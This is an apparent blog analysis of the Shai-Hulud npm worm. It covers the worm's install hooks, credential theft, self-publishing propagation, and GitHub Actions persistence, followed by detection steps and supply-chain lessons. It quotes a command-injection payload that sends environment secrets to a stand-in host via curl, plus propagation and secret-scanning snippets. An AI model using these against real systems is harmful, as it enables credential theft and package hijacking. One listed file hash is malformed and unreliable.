The Shai-Hulud npm Worm: How a Self-Propagating Attack Compromised 800+ Packages
What happens when malware learns to copy itself across an entire ecosystem.
So here’s the thing about supply chain attacks. Most of them are hit-and-run. Someone typosquats a popular package, maybe steals some credentials, moves on. But Shai-Hulud? Shai-Hulud was different. It was a worm. And not just any worm—a self-replicating monster that spread itself across the npm registry like a virus.
Let’s grab a coffee and talk about what happened, how it worked, and what we can learn from it.
What Was Shai-Hulud?
Named after the sandworms from Frank Herbert’s Dune, Shai-Hulud first appeared in September 2025. A security engineer named Daniel Pereira discovered it on September 15th when he noticed something weird: package versions that shouldn’t exist, with post-install scripts doing things they shouldn’t do.
By the time researchers caught up, over 200 packages were already compromised. Then came November 2025—dubbed “Shai-Hulud 2.0: The Second Coming”—and the scale exploded. 796 unique npm packages were backdoored. Over 20 million weekly downloads. More than 25,000 malicious GitHub repositories created across roughly 350 unique users.
This wasn’t just another supply chain incident. This was a masterclass in automated propagation.
How the Self-Propagation Worked
Here’s where it gets interesting. Shai-Hulud didn’t need a command-and-control server to spread. It didn’t need manual intervention from the attacker. It just needed one compromised maintainer’s credentials.
Let’s break down the mechanism.
Phase 1: Initial Compromise
The attack likely started with a phishing campaign. Developers received emails spoofing npm, asking them to “update their MFA settings.” Classic credential harvesting. Once someone clicked through and entered their npm token, the attackers had what they needed.
But here’s the clever part: they didn’t just steal the token and run. They deployed a worm payload.
Phase 2: The Post-Install Hook
Both versions of Shai-Hulud used npm’s lifecycle scripts—specifically the postinstall (September) and preinstall (November) hooks.
"scripts": {
"postinstall": "node bundle.js"
}
Or in version 2.0:
"scripts": {
"preinstall": "node setup_bun.js && node bun_environment.js"
}
Every time someone installed an infected package, the script executed. No user interaction required. No “are you sure?” prompts. Just automatic execution during the build process.
The November version was particularly nasty. By using preinstall instead of postinstall, it:
- Eliminated human interaction entirely—even build servers running CI/CD would execute it
- Bypassed static scanners that inspect code during later stages
- Executed before the package was fully installed, making detection harder
Phase 3: Credential Harvesting
Once running, the worm went hunting. It searched the local filesystem for:
.npmrcfiles containing npm authentication tokens- GitHub Personal Access Tokens (
ghp_*andgho_*prefixes) - AWS credentials and configuration
- Google Cloud Platform credentials
- Azure credentials
- SSH keys
- Environment variables containing secrets
It also downloaded TruffleHog—a legitimate open-source tool for secret detection—and used it to scan for high-entropy strings and hidden credentials.
trufflehog filesystem . --json --results=verified
Smart move by the attackers. Using a real security tool blended the activity into normal developer workflows.
Phase 4: Self-Propagation
Here’s where Shai-Hulud earned its name.
If the worm found valid npm credentials in .npmrc files, it would:
- Query the npm registry for all packages maintained by that account
- Sort packages by popularity—targeting high-download packages first
- Download each package’s source code
- Inject the malicious payload into
package.jsonand add the worm’s JavaScript files - Publish a new “patch” version to npm
async updatePackage(pkg) {
// Patch package.json and publish
await exec(`npm version patch --force && npm publish --access public --token ${token}`);
}
Each compromised package became a new infection vector. Each installation spread the worm further. It was exponential.
The November version upped the game by propagating to up to 100 packages per infected maintainer.
Technical Breakdown of the Attack
Let’s get technical.
The Payload Structure
September 2025 (v1):
– bundle.js — Main malicious script
– SHA-256: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
November 2025 (v2):
– setup_bun.js — Disguised as a Bun JavaScript runtime installer
– bun_environment.js — Obfuscated payload (10MB+), heavily obfuscated
– Multiple SHA-256 variants identified across packages
The v2 payload used extreme obfuscation and forked itself into a detached background process, allowing the original installation to complete normally. Users saw nothing wrong—their packages installed successfully—while the malware ran silently in the background.
Runtime Selection
The November version installed the Bun runtime instead of using Node.js. Why?
- Evade standard monitoring: Most security tools are tuned for Node.js execution patterns
- Faster execution: Bun is significantly faster, allowing rapid credential harvesting
- Lower detection rates: Security products hadn’t adapted to Bun-based malware
Exfiltration Mechanism
Stolen credentials weren’t sent to some obscure server in Eastern Europe. They were uploaded to public GitHub repositories.
The worm would:
1. Create a new repository named “Shai-Hulud” (or with description “Sha1-Hulud: The Second Coming.”)
2. Upload credentials as base64-encoded JSON files
3. Make the repository public
Yes, public. Your AWS keys, npm tokens, and GitHub PATs—exposed to the entire internet.
Even wilder: if the worm couldn’t find credentials locally, it would search GitHub for other Shai-Hulud repositories and try to use stolen credentials from other victims. A distributed credential marketplace built into the malware itself.
Persistence via GitHub Actions
The November version added a clever persistence mechanism. It:
- Installed a self-hosted GitHub Actions runner on the compromised machine
- Created a malicious workflow file:
.github/workflows/discussion.yaml - Configured the workflow to execute arbitrary code when a GitHub discussion was opened
name: Discussion Create
on:
discussion:
jobs:
process:
runs-on: self-hosted
steps:
- uses: actions/checkout@v5
- name: Handle Discussion
run: echo ${{ github.event.discussion.body }}
The attacker could run commands by simply opening a discussion with code like:
Hello this is a test $(curl example.com/steal-credentials -d creds=`env | base64`)
Command injection through GitHub’s own infrastructure. Brilliant and terrifying.
The “Destroy Everything” Fallback
Here’s the part that should scare you. If the November worm couldn’t find credentials, couldn’t exfiltrate data, and couldn’t propagate? It would attempt to delete the user’s home directory.
Not just delete—securely overwrite and delete every writable file owned by the current user. Punishment for not having valuable credentials to steal. The attackers escalated from espionage to sabotage.
Packages Affected and Scale
The scale was staggering.
September 2025 Wave
Notable packages compromised:
- @ctrl/tinycolor — 4.2M weekly downloads (color manipulation library)
- @ctrl/deluge, @ctrl/qbittorrent, @ctrl/transmission — popular torrent client libraries
- ngx-bootstrap — Angular UI components
- ngx-toastr — toast notifications for Angular
- Packages from CrowdStrike, NativeScript, and Teselagen ecosystems
Over 200 packages confirmed in the first 24 hours.
November 2025 Wave
The second wave was much larger:
- size-sensor — 4.2M downloads/month
- echarts-for-react — 3.8M downloads/month
- Over 250 @antv scoped packages — visualization libraries
- timeago.js — 1.15M downloads/month
- jest-canvas-mock, jest-electron — testing libraries
796 unique packages totaling 20+ million weekly downloads.
Full Scope
The attack affected:
- ~800 npm packages (combining both waves)
- 25,000+ GitHub repositories created as exfiltration drops
- 500+ unique GitHub users whose credentials were stolen
- 150+ GitHub organizations compromised
How to Detect If You Were Affected
Think you might have been hit? Here’s how to check.
Check Your npm Dependencies
# Check for known compromised versions
npm ls @ctrl/tinycolor
npm ls size-sensor
npm ls echarts-for-react
# For the full list, check:
# https://github.com/DataDog/indicators-of-compromise/tree/main/shai-hulud-2.0
Search for Malicious Files
# Search for the known malicious bundle.js by hash
find . -type f -name "*.js" -exec sha256sum {} \; | \
grep "46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09"
# Search for suspicious large files named bun_environment.js
find . -type f -name "bun_environment.js" -size +9M
# Search for setup_bun.js in unexpected places
find . -name "setup_bun.js" -not -path "*/node_modules/bun/*"
Check Your GitHub Account
- Look for repositories you didn’t create, especially:
- Repositories named “Shai-Hulud”
- Repositories with description “Sha1-Hulud: The Second Coming.”
Repositories ending in “-migration”
Check your workflow files:
- Look for
.github/workflows/discussion.yaml Audit any self-hosted runners registered to your account
Review recent activity:
- Check for unauthorized commits
- Look for PAT usage in security logs
Search for TruffleHog Execution
If TruffleHog was downloaded and run without your knowledge:
# Check command history for suspicious trufflehog calls
history | grep trufflehog
# On macOS/Linux, check process execution logs
ps aux | grep trufflehog
Network Indicators
Watch for connections to:
- webhook.site domains (used for data exfiltration)
- Specifically:
webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
File Hash Indicators
Known malicious SHA-256 hashes to search for:
46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09 (bundle.js)
62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 (bun_environment.js)
f099c5d9ec417d4445a0328an0ada9cde79fc37410914103ae9c609cbc0ee068 (bun_environment.js)
a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a (setup_bun.js)
Supply Chain Security Lessons
Shai-Hulud changed the game. Here’s what we learned.
1. Lifecycle Scripts Are a Liability
npm’s postinstall, preinstall, and similar hooks are a massive attack surface. Every package with these scripts is essentially asking to run arbitrary code on your machine.
What to do:
– Use npm install --ignore-scripts in CI/CD environments
– Enable npm config set ignore-scripts true globally for production
– Audit every package that uses lifecycle scripts before adding it
2. Pin Your Dependencies
Using ^ or ~ in your dependency versions? Every npm install could pull a new, potentially malicious version.
What to do:
– Pin exact versions: "some-package": "4.1.0" (no ^ or ~)
– Commit package-lock.json to version control
– Use lockfile linting to prevent unpinned dependencies
3. Rotation Is Not Optional
If you even suspect credentials were exposed, rotate them. The attackers were fast—the window between credential theft and active abuse was measured in hours, not days.
What to do:
– Rotate all npm tokens immediately (they can’t be revoked, only replaced)
– Rotate GitHub Personal Access Tokens
– Rotate cloud credentials (AWS, GCP, Azure)
– Assume any secret on a developer machine is compromised
4. MFA Doesn’t Help Stolen Tokens
The initial phishing attack targeted MFA settings. But once you have a valid npm token or GitHub PAT, MFA is irrelevant. Tokens bypass MFA entirely.
What to do:
– Use short-lived tokens (GitHub’s fine-grained PATs with expiration)
– Scope tokens to minimal permissions
– Monitor token usage in security logs
5. Runtime Security Matters
Static analysis didn’t catch Shai-Hulud. The malicious code was either too obfuscated or executed at runtime during install.
What to do:
– Deploy runtime security tools (Falco, Sysdig, CrowdStrike) that monitor process execution
– Alert on unexpected outbound connections from build processes
– Monitor for unexpected file creation in home directories
6. AI Is Now Part of the Threat
Unit 42 assessed with moderate confidence that LLM was used to generate parts of the malicious bash scripts. The code included comments and emojis—patterns consistent with AI-generated content.
What to do:
– Expect more sophisticated attacks faster
– Attackers are already iterating using AI—defenders need to adapt
7. Supply Chain Attacks Are Exponential
Traditional attacks compromise one target. Supply chain worms compromise everyone who depends on a target, and everyone who depends on them.
The math is brutal:
– 1 compromised maintainer
– → 100 packages updated with malware
– → 20 million weekly downloads
– → Thousands of developers infected
– → Each developer’s credentials used to compromise more packages
8. CI/CD Hygiene Is Critical
The November attack specifically targeted build servers by using preinstall instead of postinstall. CI/CD pipelines executed the malware automatically.
What to do:
– Run npm install in isolated containers
– Use dependency caching to avoid reinstalling on every build
– Scan dependencies before installation, not after
The Bigger Picture
Shai-Hulud followed on the heels of the s1ngularity/Nx attack in August 2025, which also stole credentials and exposed private repositories. The techniques are evolving. Each attack learns from the last.
The attackers behind Shai-Hulud demonstrated:
- Operational maturity: Phishing, payload deployment, exfiltration, propagation—all automated
- Ecosystem awareness: They understood npm, GitHub, CI/CD pipelines intimately
- Adaptation: Version 2.0 fixed “issues” from version 1.0 (like needing C2 infrastructure)
And they left behind something disturbing: based on public sources, data from over 500 unique GitHub users was successfully exfiltrated. That’s 500 developers whose credentials are now in the wild. That’s 150 organizations dealing with potential breaches.
Conclusion
Shai-Hulud wasn’t just another npm malware. It was a proof of concept for a new class of supply chain attacks—worms that spread through the ecosystem itself, using the trust relationships we’ve built between maintainers and users.
The npm registry hosts millions of packages. Billions of weekly downloads. Every one of those downloads is an implicit trust decision. And Shai-Hulud proved that trust can be weaponized at scale.
Lock your dependencies. Rotate your tokens. Assume breach. Because in the world of software supply chains, a single compromised package isn’t just your problem—it’s everyone’s problem.
For a complete list of affected packages, see:
– https://github.com/DataDog/indicators-of-compromise/tree/main/shai-hulud-2.0
– https://www.reversinglabs.com/blog/shai-hulud-worm-npm
Stay safe out there.
References:
– Unit42 – “Shai-Hulud” Worm Compromises npm Ecosystem
– Sysdig – Shai-Hulud: The novel self-replicating worm
– Datadog Security Labs – The Shai-Hulud 2.0 npm worm: analysis
– ReversingLabs – Shai-hulud npm attack: What you need to know
– StepSecurity – Self-Replicating Worm Compromises 500+ NPM Packages
